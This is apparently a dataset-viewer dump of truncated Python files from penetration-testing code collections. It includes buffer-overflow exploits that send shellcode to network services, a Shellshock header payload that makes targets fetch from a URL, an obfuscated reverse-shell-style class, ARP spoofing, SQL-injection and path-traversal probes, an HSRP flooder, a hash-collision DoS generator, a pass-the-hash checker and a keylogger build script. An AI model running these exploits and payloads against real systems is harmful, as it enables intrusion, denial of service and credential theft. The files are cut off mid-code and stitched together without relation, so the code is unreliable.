repo_name stringclasses 29
values | text stringlengths 18 367k | avg_line_length float64 5.6 132 | max_line_length int64 11 3.7k | alphnanum_fraction float64 0.28 0.94 |
|---|---|---|---|---|
PenetrationTestingScripts | """HTML form handling for web clients.
HTML form handling for web clients: useful for parsing HTML forms, filling them
in and returning the completed forms to the server. This code developed from a
port of Gisle Aas' Perl module HTML::Form, from the libwww-perl library, but
the interface is not the same.
The most us... | 35.83755 | 87 | 0.593548 |
owtf | """
SEMI-PASSIVE Plugin for Testing for Session Management Schema (OWASP-SM-001)
https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_%28OWASP-SM-001%29
"""
import json
from collections import defaultdict
from owtf.config import config_handler
from owtf.requester.base import requester
from owtf.manage... | 39.926829 | 91 | 0.680382 |
cybersecurity-penetration-testing | from Crypto.PublicKey import RSA
new_key = RSA.generate(2048, e=65537)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")
print public_key
print private_key
| 21.444444 | 50 | 0.736318 |
Python-Penetration-Testing-for-Developers | #brute force username enumeration
import sys
import urllib
import urllib2
if len(sys.argv) !=2:
print "usage: %s filename" % (sys.argv[0])
sys.exit(0)
filename=str(sys.argv[1])
userlist = open(filename,'r')
url = "http://www.vulnerablesite.com/forgotpassword.html"
foundusers = []
UnknownStr="Username not foun... | 19.484848 | 57 | 0.712593 |
cybersecurity-penetration-testing | #!/usr/bin/env python
import sys
import urllib
import cStringIO
from optparse import OptionParser
from PIL import Image
from itertools import izip
def get_pixel_pairs(iterable):
a = iter(iterable)
return izip(a, a)
def set_LSB(value, bit):
if bit == '0':
value = value & 254
... | 29.182482 | 120 | 0.554185 |
Python-Penetration-Testing-for-Developers | import mechanize
import re
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)
for form in br.forms():
print form
br.select_form(nr=0)
p... | 17.901961 | 49 | 0.639668 |
cybersecurity-penetration-testing | # Simple Substitution Cipher Hacker
# http://inventwithpython.com/hacking (BSD Licensed)
import os, re, copy, pprint, pyperclip, simpleSubCipher, makeWordPatterns
if not os.path.exists('wordPatterns.py'):
makeWordPatterns.main() # create the wordPatterns.py file
import wordPatterns
LETTERS = 'ABCDEFGHIJ... | 44.064103 | 406 | 0.654289 |
Ethical-Hacking-Scripts | from optparse import OptionParser
class OptionParse:
def __init__(self):
self.logo()
self.parse_args()
def logo(self):
print("""
_____ _ _ _____ _ __ ___
/ ____| (_) | | __ \ (_) ... | 42.27551 | 132 | 0.473821 |
cybersecurity-penetration-testing | import subprocess
import sys
ipfile = sys.argv[1]
IPs = open(ipfile, "r")
output = open("sslscan.csv", "w+")
for IP in IPs:
try:
command = "sslscan "+IP
ciphers = subprocess.check_output(command.split())
for line in ciphers.splitlines():
if "Accepted" in line:
output.write(IP+","+line.split()[1]+","... | 18.947368 | 85 | 0.632275 |
owtf | """
owtf.models.target
~~~~~~~~~~~~~~~~~~
"""
from sqlalchemy import Boolean, Column, Integer, String, Index, ForeignKey, Table
from sqlalchemy.ext.hybrid import hybrid_property
from sqlalchemy.orm import relationship
from owtf.db.model_base import Model
# This table actually allows us to make a many to many relatio... | 32.246154 | 86 | 0.678704 |
owtf | """
owtf.plugin
~~~~~~~~~~~
"""
| 5.6 | 11 | 0.3125 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import threading
import dup
from scapy.all import *
conf.iface = 'mon0'
NAVPORT = 5556
LAND = '290717696'
EMER = '290717952'
TAKEOFF = '290718208'
class interceptThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.curPkt = ... | 24.893333 | 65 | 0.570325 |
Hands-On-Penetration-Testing-with-Python | """A String generator class"""
import exrex
import base64
import os
class StringGenerator(object):
def __init__(self):
pass
def get_alpha_only_string(self, limit = 12, min_length = 10):
regex = '[a-zA-Z]+'
# if min_length == limit, then?
if min_length == limit... | 27.353535 | 126 | 0.502495 |
cybersecurity-penetration-testing | import argparse
import os
import sys
import logging
import plugins
import writers
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = 'This scripts handles processing and output of various embedded metadata files'
def main(input_dir, output_dir):
"""
The ... | 38.596491 | 105 | 0.600931 |
cybersecurity-penetration-testing | from bs4 import BeautifulSoup
import re
parse = BeautifulSoup('<html><head><title>Title of the page</title></head><body><p id="para1" align="center">This is a paragraph<b>one</b><a href="http://example1.com">Example Link 1</a> </p><p id="para2">This is a paragraph<b>two</b><a href="http://example.2com">Example Link 2<... | 19.527778 | 302 | 0.596206 |
Python-Penetration-Testing-Cookbook | # -*- coding: utf-8 -*-
# Define here the models for your spider middleware
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/spider-middleware.html
from scrapy import signals
class BooksSpiderMiddleware(object):
# Not all methods need to be defined. If a method is not defined,
# scrapy act... | 32.368421 | 78 | 0.663335 |
cybersecurity-penetration-testing | import urllib
url = urllib.urlopen("http://packtpub.com/")
data = url.read()
print data
| 17.6 | 45 | 0.684783 |
Python-Penetration-Testing-for-Developers | import mechanize
import re
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)
for form in br.forms():
print form
form = raw_input("Ent... | 18.923077 | 64 | 0.641546 |
cybersecurity-penetration-testing | import os
import sys
import csv
import logging
import argparse
import progressbar
import rabinkarp as rk
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = 20160401
__version__ = 0.01
__description__ = 'Compare known file to another file or files in a directory using a rolling hash. Results will output as CSV'
... | 33.21267 | 127 | 0.663492 |
cybersecurity-penetration-testing | # Volatility
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will ... | 39.707792 | 148 | 0.67709 |
Hands-On-Penetration-Testing-with-Python | from libnessus.parser import NessusParser
import sys
class Nessus_Parser:
def __init__(self,file_name):
self.n_file=file_name
def demo_print(self,nessus_obj_list):
docu = {}
OKGREEN = '\033[92m'
OKBLUE = '\033[94m'
OKRED = '\033[93m'
for i in nessus_obj_list.hosts:
print(OKRED +"Host : "+i.ip+" Host ... | 37.25641 | 106 | 0.64051 |
owtf | """
PASSIVE Plugin for Testing_for_SSI_Injection@OWASP-DV-009
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Searching for pages that are susceptible to SSI-Injection"
def run(PluginInfo):
resource = get_resources("PassiveSSIDiscoveryLnk")
Con... | 28.214286 | 75 | 0.776961 |
Hands-On-Penetration-Testing-with-Python | import socket
# nasm > add eax,12
# 00000000 83C00C add eax,byte +0xc
# nasm > jmp eax
# 00000000 FFE0 jmp eax
shellcode = (
"\xdd\xc3\xba\x88\xba\x1e\x34\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x14\x31\x57\x19\x03\x57\x19\x83\xc7\x04\x6a\x4f\x2f" +
"\xef\x9d\x53\x03\x4... | 31.833333 | 83 | 0.605419 |
cybersecurity-penetration-testing | import socket
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
def mach(mac):
a = '\\x'
mac1= mac.replace(':',a)
mac2= a+mac1
return mac2
sor = '\x48\x41\x43\x4b\x45\x52'
vic1 = raw_input("Enter the Victim MAC ")
victmac = mach(vic... | 17.897959 | 74 | 0.688649 |
cybersecurity-penetration-testing | import requests
url = "http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id="
initial = "'"
print "Testing "+ url
first = requests.post(url+initial)
if "mysql" in first.text.lower():
print "Injectable MySQL detected"
elif "native client" in first.text.lower():
print "Injectable MSSQL detected"
elif "syntax er... | 27.823529 | 66 | 0.725971 |
diff-droid | import banner
import logger_modules
import attack_modules
import updater
def menu():
print "(1) View Logging Modules"
print "(2) View Attack Modules"
print "(3) Update "
def show_banner():
banner.horizontal("DIFF-DROID")
def read_user_input():
option = raw_input("Please enter your choice :"... | 17.2 | 52 | 0.627523 |
Hands-On-Penetration-Testing-with-Python | """
WSGI config for XtremeWebAPP project.
This module contains the WSGI application used by Django's development server
and any production WSGI deployments. It should expose a module-level variable
named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover
this application via the ``WSGI_APPLICATI... | 42.575758 | 79 | 0.795407 |
cybersecurity-penetration-testing | __author__ = 'Preston Miller & Chapin Bryce'
import utility
import usb_lookup | 18.75 | 44 | 0.74359 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import optparse
import os
import sqlite3
def printDownloads(downloadDB):
conn = sqlite3.connect(downloadDB)
c = conn.cursor()
c.execute('SELECT name, source, datetime(endTime/1000000,\
\'unixepoch\') FROM moz_downloads;'
)
print '\... | 29.04878 | 65 | 0.535589 |
Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Second-Edition | import socket
IP = raw_input("enter the IP to hack")
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
banner = s.recv(1024)
print(banner)
command = "TRUN "
header = "|/.:/"
buffer = "Z" * 2002
#625011AF FFE4 JMP ESP
eip = "\xAF\x11\x50\x62"
nops = "\x90" * 50
buf =... | 47.66 | 62 | 0.658717 |
PenTesting | '''
This script was written by Christian Mehlmauer <FireFart@gmail.com>
Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
CVE : CVE-2011-4885
requires Python 2.7
Examples:
-) Make a single Request, wait for the response and save the response to out... | 31.248649 | 167 | 0.566974 |
Python-Penetration-Testing-for-Developers | import requests
import re
from bs4 import BeautifulSoup
import sys
if len(sys.argv) !=2:
print "usage: %s targeturl" % (sys.argv[0])
sys.exit(0)
urls = []
tarurl = sys.argv[1]
url = requests.get(tarurl)
comments = re.findall('<!--(.*)-->',url.text)
print "Comments on page: "+tarurl
for comment in comments... | 22.657895 | 49 | 0.58686 |
owtf | """
Plugin for probing vnc
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " VNC Probing "
def run(PluginInfo):
resource = get_resources("BruteVncProbeMethods")
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])... | 23.769231 | 88 | 0.747664 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Modified version of:
# http://code.activestate.com/recipes/551780/
# Good to read
# https://attack.mitre.org/wiki/Privilege_Escalation
# https://msdn.microsoft.com/en-us/li... | 26.566038 | 94 | 0.620678 |
cybersecurity-penetration-testing | import argparse
import binascii
import csv
import logging
import os
import re
import struct
import sys
from collections import namedtuple
from tqdm import trange
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = '''This scripts processes SQLite "Write Ahead Logs" ... | 41.303704 | 131 | 0.579208 |
Python-Penetration-Testing-for-Developers | import urllib2
import json
GOOGLE_API_KEY = "{Insert your Google API key}"
target = "packtpub.com"
token = ""
loops = 0
while loops < 10:
api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50&pageToken="+token).read()
json_response = json.lo... | 25 | 154 | 0.66718 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-10
# @File : __init__.py.py
# @Desc : ""
| 16 | 27 | 0.481481 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
import os
class OsDirectories():
def __init__(self):
self.path_parent_0=os.getcwd
self.file_path=os.path.realpath(__file__)
self.pr=os.path.dirname(self.file_path)
def Traverse(self,path,tr_all=False):
if tr_all ==False:
files = os.listdir(path)
for i in files:
if os.path.i... | 28.739726 | 58 | 0.650691 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-15
# @File : start.py
# @Desc : ""
import os
import sys
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.insert(0, parent_dir)
from instance import config_name
from fuxi.views.lib.mongo_db impo... | 38.295082 | 119 | 0.558013 |
Python-Penetration-Testing-Cookbook | import sys
from scapy.all import *
interface = "en0"
def callBackParser(packet):
if IP in packet:
source_ip = packet[IP].src
destination_ip = packet[IP].dst
if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:
print("From : " + str(source_ip) + " to -> " + str(destination_... | 30.55 | 130 | 0.553968 |
cybersecurity-penetration-testing | # Caesar Cipher Hacker
# http://inventwithpython.com/hacking (BSD Licensed)
message = 'GUVF VF ZL FRPERG ZRFFNTR.'
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
# loop through every possible key
for key in range(len(LETTERS)):
# It is important to set translated to the blank string so that the
# previous ... | 34.352941 | 75 | 0.630308 |
Ethical-Hacking-Scripts | import os, sys, time, threading
from optparse import OptionParser
class FileFinder:
def __init__(self, search, drive):
OptionParse.logo(None)
self.dirlist = []
self.file_list = []
self.drive = drive
self.keep_search = True
self.search = search.lower()
... | 41.427273 | 165 | 0.410201 |
Python-Penetration-Testing-for-Developers | import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
sor = '\x00\x0c\x29\x4f\x8e\x35'
victmac ='\x00\x0C\x29\x2E\x84\x7A'
gatemac = '\x00\x50\x56\xC0\x00\x08'
code ='\x08\x06'
eth1 = victmac+sor+code #for victim
e... | 20.416667 | 74 | 0.698701 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
###################################################
#
# HashCheck - written by Justin Ohneiser
# ------------------------------------------------
# This program will check a set of Windows NTLM
# hashes against a set of IP addresses looking
# for valid Pass-The-Hash access.
#
# [Warning]:
# This sc... | 30.578431 | 155 | 0.527247 |
Hands-On-Penetration-Testing-with-Python | import socket
# nasm > add eax,12
# 00000000 83C00C add eax,byte +0xc
# nasm > jmp eax
# 00000000 FFE0 jmp eax
shellcode = (
"\xdd\xc3\xba\x88\xba\x1e\x34\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x14\x31\x57\x19\x03\x57\x19\x83\xc7\x04\x6a\x4f\x2f" +
"\xef\x9d\x53\x03\x4... | 31.833333 | 83 | 0.605419 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import bcrypt
# Let's first enter a password
new = raw_input('Please enter a password: ')
# We'll encrypt the password with bcrypt with the default salt value of 12
hashed = bcrypt.hashpw(new, bcrypt.gensalt())
# We'll print the hash we just generated
print('The string about t... | 32.222222 | 74 | 0.716918 |
cybersecurity-penetration-testing | from Tkinter import *
import ttk
from dateutil import parser as duparser
import datetime
import logging
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = 'This script uses a GUI to show date values interpreted by common timestamp formats'
class DateDe... | 40.183099 | 140 | 0.587846 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import optparse
import mechanize
import urllib
import re
import urlparse
from _winreg import *
def val2addr(val):
addr = ''
for ch in val:
addr += '%02x ' % ord(ch)
addr = addr.strip(' ').replace(' ', ':')[0:17]
return addr
def wiglePrint(... | 28.121951 | 65 | 0.568915 |
cybersecurity-penetration-testing | import requests
import sys
url = sys.argv[1]
values = []
for i in xrange(100):
r = requests.get(url)
values.append(int(r.elapsed.total_seconds()))
average = sum(values) / float(len(values))
print "Average response time for "+url+" is "+str(average) | 20.25 | 58 | 0.69685 |
owtf | """
owtf.models.url
~~~~~~~~~~~~~~~~~~~
"""
from sqlalchemy import Boolean, Column, Integer, String, ForeignKey
from owtf.db.model_base import Model
class Url(Model):
__tablename__ = "urls"
target_id = Column(Integer, ForeignKey("targets.id"))
url = Column(String, primary_key=True)
visited = Column... | 21.190476 | 67 | 0.627957 |
Hands-On-Penetration-Testing-with-Python | import os as drive
import subprocess as destination
import socket as my_friend
class Car:
def __init__(self):
self.driver="127"
self.driver=self.driver+".0"
self.driver=self.driver+".0.1"
self.house_no=100*80
self.door=""
self.address="/"
self.address=self.address+"b"+""+"i"+"n"+"/"
self.address=self.a... | 21.969697 | 61 | 0.669749 |
Mastering-Machine-Learning-for-Penetration-Testing | import matplotlib.pyplot as plt
import numpy as np
x = np.linspace(0, 20, 50)
plt.plot(x, x, label='linear')
plt.legend()
plt.show()
| 18.142857 | 31 | 0.706767 |
cybersecurity-penetration-testing | from scapy.all import *
interface = 'mon0'
i=1
def info(fm):
if fm.haslayer(Dot11):
if ((fm.type == 0) & (fm.subtype==12)):
global i
print "Deauth detected ", i
i=i+1
sniff(iface=interface,prn=info)
| 17.25 | 41 | 0.619266 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import hashlib
message = raw_input("Enter the string you would like to hash: ")
md5 = hashlib.md5(message.encode())
print (md5.hexdigest())
| 17.6 | 64 | 0.675676 |
cybersecurity-penetration-testing | #!/opt/local/bin/python2.7
import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
# this r... | 34.103734 | 133 | 0.42771 |
cybersecurity-penetration-testing | import requests
times = []
answer = "Kicking off the attempt"
cookies = {'cookie name': 'Cookie value'}
payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'}
req = requests.post(url, data=payload, cookies=cookies)
firstresponsetime = str(req.elapsed)
for x in range(1, firstresponsetime):... | 29.666667 | 98 | 0.696734 |
hackipy | #!/usr/bin/python3
import scapy.all as scapy
import argparse
def get_arguments():
"""This function will get arguments from command line"""
parser = argparse.ArgumentParser(description="All arguments are optional")
parser.add_argument("-i","--interface",help="Interface to sniff on",dest="interface")
... | 33.4375 | 96 | 0.682809 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Proof-of-concept HSRP Active router Flooder triggering outbound gateway Denial of Service. Not fully tested, not working stabily at the moment.
#
# Python requirements:
# - scapy
#
# Mariusz Banach / mgeeky, '18, <mb@binary-offensive.com>
#
import sys
import struct
import string
import random
... | 25.321244 | 145 | 0.597755 |
cybersecurity-penetration-testing | import shodan
import requests
SHODAN_API_KEY = "{Insert your Shodan API key}"
api = shodan.Shodan(SHODAN_API_KEY)
target = 'www.packtpub.com'
dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY
try:
# First we need to resolve our targets domain to an IP
resolved... | 25.780488 | 95 | 0.592525 |
GWT-Penetration-Testing-Toolset | #!/usr/bin/env python
class Parameter(object):
def __init__(self, tn ):
self.typename = tn
self.values = []
self.flag = False
self.is_custom_obj = False
self.is_list = False
self.is_array = False
def _add_value(self, val):
value... | 23.5 | 48 | 0.498978 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
interface = "en0"
gateway_ip = "192.168.1.2"
target_ip = "192.168.1.103"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet_count = 50
conf.verb = 0
def getMac(IP):
ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = IP), timeout =2, iface=interface, inter=0.1)
for send,recive in ans:
... | 24.078947 | 106 | 0.647244 |
Penetration_Testing | from distutils.core import setup
import py2exe
setup(options = {"py2exe": {"bundle_files": 1,"compressed":True}}, windows = [{"script":"win_key-logger.py"}], zipfile = None)
| 34.2 | 126 | 0.697143 |
cybersecurity-penetration-testing | import threading
from scapy.all import *
# our packet callback
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "[*] Server: %s" % packet[IP].dst
p... | 25.666667 | 87 | 0.613779 |
Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Second-Edition | import socket
IP = raw_input("enter the IP to crash:")
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
banner = s.recv(1024)
print(banner)
command = "TRUN "
header = "|/.:/"
#buffer = "Z" * 10000
pattern = <value>
s.send (command + header + pattern)
print ("server dead... | 22.214286 | 54 | 0.645062 |
PenetrationTestingScripts | from django.test import TestCase
# Create your tests here.
| 14.25 | 32 | 0.783333 |
Effective-Python-Penetration-Testing | #!/bin/python
#Importing modules
from lxml import html
import requests
import itertools
response = requests.get('http://packtpub.com/')
tree = html.fromstring(response.content)
#Create the list of Books:
books = tree.xpath('//div[@class="book-block-title"]/text()')
print books
| 17.866667 | 61 | 0.741135 |
Hands-On-Penetration-Testing-with-Python | from django.db import models
class BlindProject(models.Model):
project_name = models.CharField(max_length = 50, primary_key=True)
public_IP = models.TextField()
blind_URL = models.URLField()
method = models.TextField()
param_name = models.TextField()
param_value = models.TextField()
match_s... | 35.376923 | 159 | 0.645516 |
owtf | """
owtf.utils.error
~~~~~~~~~~~~~~~~
The error handler provides a centralised control for aborting the application
and logging errors for debugging later.
"""
import logging
import multiprocessing
import signal
import sys
try:
from raven.contrib.tornado import AsyncSentryClient
raven_installed = True
except... | 29.300752 | 117 | 0.669645 |
owtf | """
owtf.utils.signals
~~~~~~~~~~~~~~~~~~
Most of it taken from the Flask code.
"""
signals_available = False
try:
from blinker import Namespace
signals_available = True
except ImportError:
class Namespace(object):
def signal(self, name, doc=None):
return _FakeSignal(name, doc)
... | 27.125 | 114 | 0.638992 |
cybersecurity-penetration-testing | import requests
import sys
url = "http://127.0.0.1/traversal/third.php?id="
payloads = {'etc/passwd': 'root'}
up = "../"
i = 0
for payload, string in payloads.iteritems():
while i < 7:
req = requests.post(url+(i*up)+payload)
if string in req.text:
print "Parameter vulnerable\r\n"
print "Attack string: "+(i*u... | 21.529412 | 48 | 0.638743 |
owtf | """
PASSIVE Plugin for Testing for Web Application Fingerprint (OWASP-IG-004)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Third party resources and fingerprinting suggestions"
def run(PluginInfo):
mapping = [
["All", "CMS_FingerPrint_Al... | 34.769231 | 76 | 0.698601 |
owtf | """
PASSIVE Plugin for Testing for SQL Injection (OWASP-DV-005)
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Google Hacking for SQLi"
def run(PluginInfo):
resource = ge... | 29.266667 | 76 | 0.768212 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "XML Injection Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalXMLInjection")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return ... | 28.909091 | 75 | 0.783537 |
Penetration_Testing | #!/usr/bin/python
'''
Caesar Cipher brute-force decryption.
'''
import string
def getMessage():
print "Enter the message you want to decrypt:"
return raw_input()
def caesar_bruteforce(message):
alphabet = string.ascii_lowercase + string.ascii_uppercase
for key in range(27):
converted = ""
for symbol in ... | 15.414634 | 59 | 0.669643 |
cybersecurity-penetration-testing | #/usr/bin/env python
'''
Author: Chris Duffy
Date: March 2015
Name: smtp_vrfy.py
Purpose: To validate users on a box running SMTP
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following condi... | 45.947712 | 161 | 0.613617 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "B"*4 +"C"*400
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print str(data)
s.sen... | 18.296296 | 54 | 0.576923 |
owtf | """
Plugin for probing x11
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " x11 Probing "
def run(PluginInfo):
resource = get_resources("X11ProbeMethods")
return plugin_helper.CommandDump(
"Test Command", "Output", resource, PluginInfo,... | 22.533333 | 58 | 0.713068 |
PenetrationTestingScripts | __all__ = [
'AbstractBasicAuthHandler',
'AbstractDigestAuthHandler',
'BaseHandler',
'Browser',
'BrowserStateError',
'CacheFTPHandler',
'ContentTooShortError',
'Cookie',
'CookieJar',
'CookiePolicy',
'DefaultCookiePolicy',
'DefaultFactory',
'FTPHandler',
'Factory',
... | 23.051887 | 108 | 0.68674 |
Effective-Python-Penetration-Testing | # -*- coding: utf-8 -*-
# Scrapy settings for testSpider project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# http://doc.scrapy.org/en/latest/topics/settings.html
# http://scrapy.readthedocs.org/en/lat... | 34.386364 | 109 | 0.767748 |
owtf | """
owtf.api.handlers.health
~~~~~~~~~~~~~~~~~~~~~~~~
"""
from owtf.api.handlers.base import APIRequestHandler
__all__ = ["HealthCheckHandler"]
class HealthCheckHandler(APIRequestHandler):
"""API server health check"""
SUPPORTED_METHODS = ["GET"]
def get(self):
"""A debug endpoint to check whe... | 18.95122 | 70 | 0.495716 |
cybersecurity-penetration-testing | import argparse
import os
import sys
import usb_lookup
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.03
__description__ = 'This scripts reads a Windows 7 Setup API log and prints USB Devices to the user'
def main(in_file):
"""
Main function to handle operation
:param ... | 32.590604 | 120 | 0.618305 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: March 2015
Name: msfrpc_smb.py
Purpose: To scan a network for a smb ports and validate if credentials work on the target host
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modifica... | 43.116667 | 172 | 0.626806 |
PenetrationTestingScripts | import base64
import re
try:
import hashlib
hash_md4 = hashlib.new("md4")
hash_md5 = hashlib.md5()
except ImportError:
# for Python << 2.5
import md4
import md5
hash_md4 = md4.new()
hash_md5 = md5.new()
# Import SOCKS module if it exists, else standard socket module socket
try:
impo... | 29.625641 | 82 | 0.603584 |
owtf | """
Plugin for probing HTTP Rpc
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " HTTP Rpc Probing "
def run(PluginInfo):
resource = get_resources("HttpRpcProbeMethods")
# No previous output
return plugin_helper.CommandDump("Test Command", "... | 24.428571 | 88 | 0.740845 |
cybersecurity-penetration-testing | #!/usr/bin/python
import uuid
import hashlib
def hash(password):
salt = uuid.uuid4().hex
return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt
def check(hashed, p2):
password, salt = hashed.split(':')
return password == hashlib.sha512(salt.encode() + p2.encode()).hexd... | 22.92 | 85 | 0.666667 |
cybersecurity-penetration-testing | import mechanize
import re
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)
for form in br.forms():
print form
form = raw_input("Ent... | 18.923077 | 64 | 0.641546 |
cybersecurity-penetration-testing | #!/usr/bin/python3
#
# SMTP Server configuration black-box testing/audit tool, capable of auditing
# SPF/Accepted Domains, DKIM, DMARC, SSL/TLS, SMTP services, banner, Authentication (AUTH, X-EXPS)
# user enumerations (VRFY, EXPN, RCPT TO), and others.
#
# Currently supported tests:
# 01) 'spf' ... | 36.687113 | 365 | 0.520075 |
cybersecurity-penetration-testing | #!/usr/bin/python
import uuid
import hashlib
def hash(password):
salt = uuid.uuid4().hex
return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt
def check(hashed, p2):
password, salt = hashed.split(':')
return password == hashlib.sha512(salt.encode() + p2.encode()).hexd... | 22.92 | 85 | 0.666667 |
Mastering-Machine-Learning-for-Penetration-Testing | import os
import pefile
PEfile = pefile.PE(“pe”, fast_load=True)
DebugSize = PEfile.OPTIONAL_HEADER.DATA_DIRECTORY[6].Size
print (DebugSize)
DebugRVA = PEfile.OPTIONAL_HEADER.DATA_DIRECTORY[6].VirtualAddress
print (DebugRVA)
ImageVersion = PEfile.OPTIONAL_HEADER.MajorImageVersion
print (ImageVersion)
OSVersion = PEfil... | 33.758621 | 67 | 0.82721 |
Python-Penetration-Testing-for-Developers | import urllib2
import json
GOOGLE_API_KEY = "{Insert your Google API key}"
target = "packtpub.com"
api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY).read()
json_response = json.loads(api_response)
for result in json_response['items']:
name = result['... | 29.0625 | 119 | 0.679167 |
cybersecurity-penetration-testing | import requests
import sys
url = sys.argv[1]
payload = "() { :; }; /bin/bash -c '/usr/bin/wget <URL> >> /dev/null'"
headers ={}
r = requests.head(url)
for header in r.headers:
if header == "referer" or header == "User-Agent":
headers[header] = payload
req = requests.post(url, headers=headers)
| 26.545455 | 70 | 0.645695 |
Effective-Python-Penetration-Testing | import pyclamd
try:
